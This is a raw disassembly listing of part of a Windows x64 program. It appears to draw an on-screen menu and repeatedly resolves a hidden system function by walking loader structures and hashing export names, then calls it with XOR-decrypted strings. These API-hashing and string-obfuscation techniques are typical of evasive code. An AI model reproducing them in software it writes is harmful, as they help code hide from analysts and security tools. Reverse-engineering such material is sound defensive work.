cmp r8d, 0x20
jl 0x1400902b2
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x140090366
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140090366
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rbx]
add rdx, r10
mov r8d, 0x811c9dc5
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140090361
nop dword [rax]
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140090340
cmp r8d, 0x491e0a9c
je 0x14009036b
test r9d, r9d
jne 0x140090320
mov rax, qword [rax]
jmp 0x1400902f0
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov edx, dword [rcx + rax*4]
add rdx, r10
lea rcx, [rbp + 0xe40]
call rdx
call fcn.140015b00
mov ecx, 2
call fcn.1400214e0
mov ecx, 1
call fcn.140021590
call fcn.1400155e0
jmp 0x1400903b6
movd xmm6, dword [rbp + 0x1678]
cvtdq2ps xmm6, xmm6
cmp byte [0x14019b779], 0
je 0x1400997e3
cmp byte [0x14019b70a], 0
jne 0x1400903d8
call fcn.140088ee0
mov byte [0x14019b70a], 1
mov eax, dword [0x140165088]
mov dword [rbp - 0x10], eax
movzx eax, word [0x14016508c]
mov word [rbp - 0xc], ax
movzx eax, byte [0x14016508e]
mov byte [rbp - 0x10], Ordinal_79
xor byte [rbp - 0xf], 0x31
xor byte [rbp - 0xe], 0x32
xor byte [rbp - 0xd], 0x33
xor byte [rbp - 0xc], 0x34
xor byte [rbp - 0xb], 0x35
xor al, 0x36
mov byte [rbp - 0xa], al
xor edx, edx
mov r8d, 0x13b
lea rcx, [rbp - 0x10]
call fcn.140004f20
mov ecx, 0xff3366cc
call fcn.1400850a0
movups xmmword [rbp + 0x888], xmm12
lea rdx, [rbp + 0x888]
mov ecx, 3
call fcn.140021d10
movdqa xmm0, xmmword [0x140167fe0]
movups xmmword [rbp + 0x898], xmm0
lea rdx, [rbp + 0x898]
mov ecx, 5
call fcn.140021d10
movaps xmm1, xmm13
mov ecx, 6
call fcn.140021e50
mov qword [rbp + 0x198], 0
lea rcx, [rbp + 0x198]
call fcn.140025c50
mov dword [rbp + 0x1a0], 0x43160000
mov dword [rbp + 0x1a4], 0x43e60000
mov r9d, Ordinal_27
mov r8b, 1
lea rdx, [rbp + 0x1a0]
lea rcx, str.Sidebar
call fcn.140007c60
mov dword [rbp + 0x1a8], 0x41480000
mov dword [rbp + 0x1ac], 0x41200000
lea rcx, [rbp + 0x1a8]
call fcn.140025c50
xorps xmm0, xmm0
movups xmmword [rbp + 0x8a8], xmm0
movups xmm13, xmmword [rbp - 0x80]
movups xmmword [rbp + 0x8b8], xmm13
mov dword [rbp + 0x1b0], 0x3f800000
mov dword [rbp + 0x1b4], 0x3f800000
mov qword [rbp + 0x1b8], 0
movss dword [rbp + 0x1c0], xmm6
movd xmm0, dword [rbp + 0x1680]
cvtdq2ps xmm0, xmm0
movss dword [rbp + 0x1c4], xmm0
lea rax, [rbp + 0x8a8]
mov qword [rsp + 0x28], rax
lea rax, [rbp + 0x8b8]
mov qword [rsp + 0x20], rax
lea r9, [rbp + 0x1b0]
lea r8, [rbp + 0x1b8]
lea rdx, [rbp + 0x1c0]
mov rcx, r13
call fcn.140046650
mov dword [rbp + 0x1c8], 0
mov dword [rbp + 0x1cc], 0x43390000
lea rcx, [rbp + 0x1c8]
call fcn.140025c50
call fcn.1400198b0
mov rdi, rax
movups xmmword [rax + 0xc4], xmm13
movdqa xmm0, xmmword [0x140167e90]
movups xmmword [rax + 0x214], xmm0
movups xmmword [rax + 0x114], xmm0
movups xmm0, xmmword [0x14019a2e8]
movups xmmword [rax + 0x224], xmm0
movups xmm0, xmmword [rax + 0xe4]
movups xmmword [rax + 0x234], xmm0
mov r13, qword [rbp + 8]
mov rcx, r13
call fcn.140025a50
xorps xmm0, xmm0
movss xmm13, dword [0x14011fef4]
unpcklps xmm0, xmm13
movsd qword [rdi + 0x94], xmm0
movups xmm3, xmmword [0x14019a2e8]
mov dword [rbp + 0x1d0], 0x43480000
mov dword [rbp + 0x1d4], 0x42200000
movups xmm2, xmmword [0x140165090]
movups xmmword [rbp + 0xb20], xmm2
movzx eax, word [0x1401650a0]
mov word [rbp + 0xb30], ax
movzx eax, byte [0x1401650a2]
mov byte [rbp + 0xb32], al
mov r8d, r12d
cmp r15d, 2
jl 0x1400907f1
movdqa xmm1, xmm10
punpckldq xmm1, xmm10
pmuldq xmm1, xmm8
movdqa xmm0, xmm10
punpckhdq xmm0, xmm10
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm15
movdqa xmm1, xmm10
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd ecx, xmm14
movd xmm0, ecx
paddb xmm1, xmm0
movd eax, xmm2
movd xmm0, eax
xorps xmm1, xmm0
movd dword [rbp + 0xb20], xmm1
movdqa xmm1, xmm7
punpckldq xmm1, xmm7
pmuldq xmm1, xmm8
movdqa xmm0, xmm7
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm15
movdqa xmm2, xmm7
psubd xmm2, xmm0
andps xmm2, xmm9
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, ecx
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0xb24]
xorps xmm2, xmm1
movd dword [rbp + 0xb24], xmm2
movdqa xmm1, xmm11
punpckldq xmm1, xmm11
pmuldq xmm1, xmm8
movdqa xmm0, xmm11
punpckhdq xmm0, xmm11
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm15
movdqa xmm2, xmm11
psubd xmm2, xmm0
andps xmm2, xmm9
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, ecx
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0xb28]
xorps xmm2, xmm1
movd dword [rbp + 0xb28], xmm2
movdqa xmm6, xmmword [0x140167ec0]
movdqa xmm1, xmm6
punpckldq xmm1, xmm6
pmuldq xmm1, xmm8
movdqa xmm0, xmm6
punpckhdq xmm0, xmm6
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm15
movdqa xmm2, xmm6
psubd xmm2, xmm0
andps xmm2, xmm9
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, ecx
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0xb2c]
xorps xmm2, xmm1
movd dword [rbp + 0xb2c], xmm2
mov r8d, reloc.WS2_32.dll_recv
jmp 0x1400907f9
movdqa xmm6, xmmword [0x140167ec0]
mov eax, r8d
lea r9, [rbp + 0xb20]
add r9, rax
nop word [rax + rax]
mov eax, 0x51eb851f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r8b
sub al, cl
add al, 0x30
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x13
jl 0x140090810
movdqa xmmword [rsp + 0x50], xmm12
movdqa xmmword [rsp + 0x60], xmm3
lea rax, [rsp + 0x50]
mov qword [rsp + 0x40], rax
lea rax, [rsp + 0x60]
mov qword [rsp + 0x38], rax
mov dword [rsp + 0x30], 0xffffffff
lea rax, [0x14019a700]
mov qword [rsp + 0x28], rax
lea rax, [0x14019a6f8]
mov qword [rsp + 0x20], rax
lea r9, [0x14019a6f0]
xor r8d, r8d
lea rdx, [rbp + 0x1d0]
lea rcx, [rbp + 0xb20]
call fcn.14003ede0
test al, al
je 0x1400908b7
mov byte [0x14019b70c], 1
mov byte [0x14019b70d], 0
mov byte [0x14019b70e], 0
mov dword [rbp + 0x1d8], 0
mov dword [rbp + 0x1dc], 0x436b0000
lea rcx, [rbp + 0x1d8]
call fcn.140025c50
xorps xmm12, xmm12
xorps xmm0, xmm0
unpcklps xmm0, xmm13
movsd qword [rdi + 0x94], xmm0
movdqa xmm3, xmmword [0x140168060]
movups xmm4, xmmword [0x14019a2e8]
mov dword [rbp + 0x1e0], 0x43480000
mov dword [rbp + 0x1e4], 0x42200000
movups xmm2, xmmword [0x1401650a8]
movups xmmword [rbp + 0xb80], xmm2
mov edx, dword [0x1401650b8]
mov dword [rbp + 0xb90], edx
movzx eax, word [0x1401650bc]
mov word [rbp + 0xb94], ax
movdqa xmm13, xmmword [0x140167ed0]
cmp byte [0x1401650bd], 0
je 0x140090bb0
mov r8d, r12d
cmp r15d, 2
jl 0x140090b71
movdqa xmm1, xmm10
punpckldq xmm1, xmm10
pmuldq xmm1, xmm8
movdqa xmm0, xmm10
punpckhdq xmm0, xmm10
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm15
movdqa xmm1, xmm10
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd ecx, xmm14
movd xmm0, ecx
paddb xmm1, xmm0
movd eax, xmm2
movd xmm0, eax
xorps xmm1, xmm0
movd dword [rbp + 0xb80], xmm1
movdqa xmm1, xmm7
punpckldq xmm1, xmm7
pmuldq xmm1, xmm8
movdqa xmm0, xmm7
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm15
movdqa xmm2, xmm7
psubd xmm2, xmm0
andps xmm2, xmm9
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, ecx
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0xb84]
xorps xmm2, xmm1
movd dword [rbp + 0xb84], xmm2
movdqa xmm1, xmm11
punpckldq xmm1, xmm11
pmuldq xmm1, xmm8
movdqa xmm0, xmm11
punpckhdq xmm0, xmm11
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm15
movdqa xmm2, xmm11
psubd xmm2, xmm0
andps xmm2, xmm9
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, ecx
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0xb88]
xorps xmm2, xmm1
movd dword [rbp + 0xb88], xmm2
movdqa xmm1, xmm6
punpckldq xmm1, xmm6
pmuldq xmm1, xmm8
movdqa xmm0, xmm6
punpckhdq xmm0, xmm6
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm15
movdqa xmm2, xmm6
psubd xmm2, xmm0
andps xmm2, xmm9
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, ecx
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0xb8c]
xorps xmm2, xmm1
movd dword [rbp + 0xb8c], xmm2
movdqa xmm1, xmm13
punpckldq xmm1, xmm13
pmuldq xmm1, xmm8
movdqa xmm0, xmm13
punpckhdq xmm0, xmm13
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm15
movdqa xmm2, xmm13
psubd xmm2, xmm0
andps xmm2, xmm9
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, ecx
paddb xmm2, xmm0
movd xmm1, edx
xorps xmm2, xmm1
movd dword [rbp + 0xb90], xmm2
mov r8d, reloc.WS2_32.dll_sendto
mov eax, r8d
lea r9, [rbp + 0xb80]
add r9, rax
nop
mov eax, 0x51eb851f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r8b
sub al, cl
add al, 0x30
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x16
jl 0x140090b80
movdqa xmmword [rsp + 0x50], xmm3
movdqa xmmword [rsp + 0x60], xmm4
lea rax, [rsp + 0x50]
mov qword [rsp + 0x40], rax
lea rax, [rsp + 0x60]
mov qword [rsp + 0x38], rax
mov dword [rsp + 0x30], 0xffffffff
lea rax, [0x14019a718]
mov qword [rsp + 0x28], rax
lea rax, [0x14019a710]
mov qword [rsp + 0x20], rax
lea r9, [0x14019a708]
xor r8d, r8d
lea rdx, [rbp + 0x1e0]
lea rcx, [rbp + 0xb80]
call fcn.14003ede0
test al, al
je 0x140090c26
mov byte [0x14019b70c], 0
mov byte [0x14019b70d], 1
mov byte [0x14019b70e], 0
mov qword [rbp + 0x1e8], 0
lea rcx, [rbp + 0x1e8]
call fcn.140025c50
mov rcx, qword [0x14019b620]
mov rax, qword [rcx + 0x1d18]
mov byte [rax + 0xd1], 1
mov rbx, qword [rcx + 0x1d18]
movss xmm6, dword [rbx + 0x118]
movss xmm7, dword [rbx + 0x11c]
movss xmm14, dword [0x140167e3c]
movaps xmm3, xmm14
movss xmm0, dword [0x14011ff54]
movaps xmm2, xmm0
unpcklps xmm0, xmm14
movq rdx, xmm0
lea rcx, [rbp + 0x1400]
call fcn.140009840
movaps xmm1, xmm7
addss xmm1, dword [rbp + 0x1404]
movaps xmm0, xmm6
addss xmm0, dword [rbp + 0x1400]
movss dword [rbp + 0x1468], xmm6
movss dword [rbp + 0x146c], xmm7
movss dword [rbp + 0x1470], xmm0
movss dword [rbp + 0x1474], xmm1
mov dword [rsp + 0x30], 0xff3366cc
mov dword [rsp + 0x28], 0xff3366cc
mov dword [rsp + 0x20], 0xff3366cc
mov r9d, 0xff3366cc
lea r8, [rbp + 0x1470]
lea rdx, [rbp + 0x1468]
mov rcx, qword [rbx + 0x2f8]
call fcn.14002f5f0
movdqa xmm0, xmmword [0x140168080]
movups xmmword [rdi + 0xf4], xmm0
movdqa xmm0, xmmword [0x140167e90]
movups xmmword [rdi + 0x114], xmm0
mov dword [rbp + 0x1f8], 0
mov dword [rbp + 0x1fc], 0x43660000
lea rcx, [rbp + 0x1f8]
call fcn.140025c50
mov dword [rbp + 0x200], 0
mov dword [rbp + 0x204], 0x43910000
lea rcx, [rbp + 0x200]
call fcn.140025c50
movaps xmm0, xmm12
movss xmm7, dword [0x14011fef4]
unpcklps xmm0, xmm7
movsd qword [rdi + 0x94], xmm0
mov dword [rbp + 0x210], 0x425c0000
mov dword [rbp + 0x214], 0x43c80000
lea rcx, [rbp + 0x210]
call fcn.140025c50
movdqa xmm0, xmmword [0x140168070]
movups xmmword [rdi + 0x224], xmm0
movdqa xmm1, xmmword [0x140168050]
movups xmmword [rdi + 0xf4], xmm1
movdqa xmm0, xmmword [0x140167e70]
movups xmmword [rdi + 0x114], xmm0
movups xmm0, xmmword [rbp - 0x80]
movups xmmword [rbp + 0x958], xmm0
xorps xmm0, xmm0
movups xmmword [rbp + 0x968], xmm0
mov dword [rbp + 0x218], 0x3f800000
mov dword [rbp + 0x21c], 0x3f800000
mov qword [rbp + 0x220], 0
mov dword [rbp + 0x228], 0x42140000
mov dword [rbp + 0x22c], 0x41e00000
lea rax, [rbp + 0x958]
mov qword [rsp + 0x30], rax
lea rax, [rbp + 0x968]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], 1
lea r9, [rbp + 0x218]
lea r8, [rbp + 0x220]
lea rdx, [rbp + 0x228]
mov rcx, rsi
call fcn.140046880
movdqa xmm6, xmmword [rbp - 0x50]
test al, al
je 0x140091089
movups xmm0, xmmword [0x1401650c0]
movups xmmword [rbp + 0x10c0], xmm0
movups xmm1, xmmword [0x1401650d0]
movups xmmword [rbp + 0x10d0], xmm1
movzx eax, word [0x1401650e0]
mov word [rbp + 0x10e0], ax
mov r8d, r12d
cmp r15d, 2
jl 0x140090f91
movdqa xmmword [rsp + 0x50], xmm6
lea rcx, [rbp + 0x10c4]
mov edx, dword [rsp + 0x50]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm10
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm8
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm15
psubd xmm2, xmm0
andps xmm2, xmm9
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm10
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm8
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm15
psubd xmm2, xmm0
andps xmm2, xmm9
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x20
jl 0x140090ea0
cmp r8d, 0x22
jge 0x140090fd0
movsxd rax, r8d
lea r9, [rbp + 0x10c0]
add r9, rax
nop
mov eax, 0x51eb851f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r8b
sub al, cl
add al, 0x30
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x22
jl 0x140090fa0
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov ebx, dword [rcx + r10 + 0x88]
add rbx, r10
cmp rbx, r10
je 0x140091064
mov r9d, dword [rbx + 0x18]
test r9d, r9d
je 0x140091064
mov r11d, dword [rbx + 0x20]
nop word [rax + rax]
dec r9d
lea rdx, [r11 + r9*4]
mov r8d, dword [rdx + r10]
add r8, r10
mov edx, 0x811c9dc5
movzx ecx, byte [r8]
inc r8
test cl, cl
je 0x14009105f
nop
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
movzx ecx, byte [r8]
lea r8, [r8 + 1]
test cl, cl
jne 0x140091040
cmp edx, 0x491e0a9c
je 0x140091069
test r9d, r9d
jne 0x140091020
mov rax, qword [rax]
jmp 0x140090ff0
mov edx, dword [rbx + 0x1c]
add rdx, r10
mov ecx, dword [rbx + 0x24]
add rcx, r10
movzx ecx, word [rcx + r9*2]
mov eax, dword [rdx + rcx*4]
add rax, r10
lea rcx, [rbp + 0x10c0]
call rax
mov dword [rbp + 0x230], 0x41200000
mov dword [rbp + 0x234], 0x43d70000
lea rcx, [rbp + 0x230]
call fcn.140025c50
mov rcx, r14
call fcn.140025a50
movups xmm0, xmmword [0x140168000]
mov dword [rbp + 0x238], 0x42f40000
mov dword [rbp + 0x23c], 0x41e00000
mov byte [rsp + 0x70], 0
movdqa xmmword [rsp + 0x50], xmm0
movups xmm0, xmmword [0x14019a2e8]
movdqa xmmword [rsp + 0x60], xmm0
lea rax, [rsp + 0x50]
mov qword [rsp + 0x38], rax
lea rax, [rsp + 0x60]
mov qword [rsp + 0x30], rax
lea rax, [0x14019a730]
mov qword [rsp + 0x28], rax
lea rax, [0x14019a728]
mov qword [rsp + 0x20], rax
lea r9, [0x14019a720]
xor r8d, r8d
lea rdx, [rbp + 0x238]
lea rcx, [rsp + 0x70]
call fcn.14003f280
test al, al
je 0x140091369
movups xmm0, xmmword [0x1401650e8]
movups xmmword [rbp + 0x10e8], xmm0
movups xmm1, xmmword [0x1401650f8]
movups xmmword [rbp + 0x10f8], xmm1
movzx eax, word [0x140165108]
mov word [rbp + 0x1108], ax
mov r8d, r12d
cmp r15d, 2
jl 0x140091271
movdqa xmmword [rsp + 0x50], xmm6
lea rcx, [rbp + 0x10ec]
mov edx, dword [rsp + 0x50]
nop dword [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm10
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm8
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm15
psubd xmm2, xmm0
andps xmm2, xmm9
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm10
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm8
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm15
psubd xmm2, xmm0
andps xmm2, xmm9
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x20
jl 0x140091180
cmp r8d, 0x22
jge 0x1400912b0
movsxd rax, r8d
lea r9, [rbp + 0x10e8]
add r9, rax
nop
mov eax, 0x51eb851f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r8b
sub al, cl
add al, 0x30
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x22
jl 0x140091280
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov ebx, dword [rcx + r10 + 0x88]
add rbx, r10
cmp rbx, r10
je 0x140091344
mov r9d, dword [rbx + 0x18]
test r9d, r9d
je 0x140091344
mov r11d, dword [rbx + 0x20]
nop word [rax + rax]
dec r9d
lea rdx, [r11 + r9*4]
mov r8d, dword [rdx + r10]
add r8, r10
mov edx, 0x811c9dc5
movzx ecx, byte [r8]
inc r8
test cl, cl
je 0x14009133f
nop
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
movzx ecx, byte [r8]
lea r8, [r8 + 1]
test cl, cl
jne 0x140091320
cmp edx, 0x491e0a9c
je 0x140091349
test r9d, r9d
jne 0x140091300
mov rax, qword [rax]
jmp 0x1400912d0
mov edx, dword [rbx + 0x1c]
add rdx, r10
mov ecx, dword [rbx + 0x24]
add rcx, r10
movzx ecx, word [rcx + r9*2]
mov eax, dword [rdx + rcx*4]
add rax, r10
lea rcx, [rbp + 0x10e8]
call rax
call fcn.140015b00
mov qword [rbp + 0x240], 0x43160000
lea rcx, [rbp + 0x240]
call fcn.140025c50
movdqa xmm11, xmmword [0x140167ee0]
movss xmm9, dword [0x140167e38]
movss xmm12, dword [0x14011ffa4]
cmp byte [0x14019b70c], 0
je 0x14009473d
mov qword [rbp + 0x248], 0x43160000
lea rcx, [rbp + 0x248]
call fcn.140025c50
mov rcx, r13
call fcn.140025a50
call fcn.1400198b0
mov rdi, rax
mov qword [rax + 0xf4], r12
mov dword [rax + 0xfc], r12d
mov dword [rax + 0x100], 0x3f000000
movaps xmm0, xmm7
unpcklps xmm0, xmm7
movsd qword [rax + 0x94], xmm0
xorps xmm0, xmm0
movups xmmword [rbp + 0x1498], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x14a8], xmm1
xor r8d, r8d
lea rdx, [0x140119ac4]
lea rcx, [rbp + 0x1498]
call fcn.140055880
nop
mov dword [rbp + 0x258], 0x44138000
mov dword [rbp + 0x25c], 0x43e60000
movsd xmm0, qword [0x140165110]
movsd qword [rbp + 0x4c8], xmm0
movzx eax, word [0x140165118]
mov word [rbp + 0x4d0], ax
cmp byte [reloc.WS2_32.dll_gethostname], 0
je 0x1400914a7
mov byte [rbp + 0x4c8], reloc.WLDAP32.dll_Ordinal_35
xor byte [rbp + 0x4c9], 0x31
xor byte [rbp + 0x4ca], 0x32
xor byte [rbp + 0x4cb], 0x33
xor byte [rbp + 0x4cc], 0x34
xor byte [rbp + 0x4cd], 0x35
xor byte [rbp + 0x4ce], 0x36
xor byte [rbp + 0x4cf], 0x37
xor byte [rbp + 0x4d0], 0x38
xor byte [rbp + 0x4d1], 0x39
xor r9d, r9d
mov r8b, 1
lea rdx, [rbp + 0x258]
lea rcx, [rbp + 0x4c8]
call fcn.140007c60
mov dword [rbp + 0x260], 0x42480000
mov dword [rbp + 0x264], 0x42480000
lea rcx, [rbp + 0x260]
call fcn.140025c50
mov rcx, qword [0x14019b620]
mov rax, qword [rcx + 0x1d18]
mov byte [rax + 0xd1], 1
mov rbx, qword [rcx + 0x1d18]
movss xmm6, dword [rbx + 0x118]
movss xmm7, dword [rbx + 0x11c]
movss xmm1, dword [0x140167e34]
movaps xmm3, xmm1
movaps xmm2, xmm9
movaps xmm0, xmm9
unpcklps xmm0, xmm1
movq rdx, xmm0
lea rcx, [rbp + 0x1420]
call fcn.140009840
movaps xmm1, xmm7
addss xmm1, dword [rbp + 0x1424]
movaps xmm0, xmm6
addss xmm0, dword [rbp + 0x1420]
movss dword [rbp + 0x1458], xmm6
movss dword [rbp + 0x145c], xmm7
movss dword [rbp + 0x1460], xmm0
movss dword [rbp + 0x1464], xmm1
mov dword [rsp + 0x30], 0xff0b0b0b
mov dword [rsp + 0x28], 0xff0b0b0b
mov dword [rsp + 0x20], 0xff0b0b0b
mov r9d, 0xff0b0b0b
lea r8, [rbp + 0x1460]
lea rdx, [rbp + 0x1458]
mov rcx, qword [rbx + 0x2f8]
call fcn.14002f5f0
movups xmm0, xmmword [rbp - 0x80]
movups xmmword [rdi + 0xd4], xmm0
mov dword [rbp + 0x270], 0x42700000
mov dword [rbp + 0x274], 0x42700000
lea rcx, [rbp + 0x270]
call fcn.140025c50
mov rcx, qword [rbp + 0x460]
call fcn.140025a50
movups xmm2, xmmword [0x140165120]
movups xmmword [rbp + 0x9a8], xmm2
movdqa xmm0, xmm2
psrldq xmm0, 0xf
movd eax, xmm0
test al, al
je 0x140091809
mov r8d, r12d
cmp r15d, 2
jl 0x1400917cc
movdqa xmm1, xmm10
punpckldq xmm1, xmm10
pmuldq xmm1, xmm8
movdqa xmm0, xmm10
punpckhdq xmm0, xmm10
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm15
movdqa xmm1, xmm10
psubd xmm1, xmm0
movdqa xmm7, xmmword [0x140167f50]
andps xmm1, xmm7
packuswb xmm1, xmm1
packuswb xmm1, xmm1
mov ecx, dword [rbp - 0x50]
movd xmm0, ecx
paddb xmm1, xmm0
movd eax, xmm2
movd xmm0, eax
xorps xmm1, xmm0
movd dword [rbp + 0x9a8], xmm1
movdqa xmm9, xmmword [0x140167ea0]
movdqa xmm1, xmm9
punpckldq xmm1, xmm9
pmuldq xmm1, xmm8
movdqa xmm0, xmm9
punpckhdq xmm0, xmm9
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm15
movdqa xmm2, xmm9
psubd xmm2, xmm0
andps xmm2, xmm7
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, ecx
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x9ac]
xorps xmm2, xmm1
movd dword [rbp + 0x9ac], xmm2
movdqa xmm6, xmmword [0x140167eb0]
movdqa xmm1, xmm6
punpckldq xmm1, xmm6
pmuldq xmm1, xmm8
movdqa xmm0, xmm6
punpckhdq xmm0, xmm6
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm15
movdqa xmm2, xmm6
